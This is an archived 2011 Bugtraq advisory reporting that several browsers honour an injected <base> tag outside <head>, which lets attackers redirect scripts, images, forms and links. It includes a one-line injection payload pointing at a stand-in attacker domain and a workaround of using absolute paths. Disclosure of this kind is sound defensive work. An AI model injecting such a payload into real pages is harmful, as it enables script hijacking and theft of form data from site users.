bugtraq - <BASE> tag used for hijacking external resources (XSS)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <CAJQkwOKKx6Qc00_BKyOnxuPkcW2tWG2_xQJ+qQwNY1H0n3s+Hw@mail.gmail.com>
Date: Thu, 15 Dec 2011 23:53:26 +0100
From: Bouke van Laethem <vanlaethem@...il.com>
To: bugtraq@...urityfocus.com
Subject: <BASE> tag used for hijacking external resources (XSS)

I report this here because I could not find any other reference to this issue.

VULNERABLE: Chrome, firefox and safari.
NOT VULNERABLE: IE8 or IE9.
(Above is as far as I could tell: things are moving fast nowadays in
browser land)

ISSUE:
The <base> tag is parsed outside of <head></head>. This can lead to
the base being reset, both before and after the <base> tag being
injected, depending on browser types and versions. As a result, images
and javascript can be loaded from an attackers domain, and forms and
hyperlinks point to the attackers domain.

An example can be found on http://avuko.net, but it is simple enough
to reproduce: just put a <base href="http://attackerdomain"> somewhere
in your HTML (the closer to <head> the better).
Tested with overriding <img>, <a>, <script> & <form>, would probably
work on other external references too.

FIX/WORK-AROUND:
make sure all paths are absolute.

REFERENCES:
http://www.w3.org/TR/html4/struct/links.html#h-12.4
http://avuko.net

-- 
Be strict when sending and tolerant when receiving. [RFC 1958, 3.9]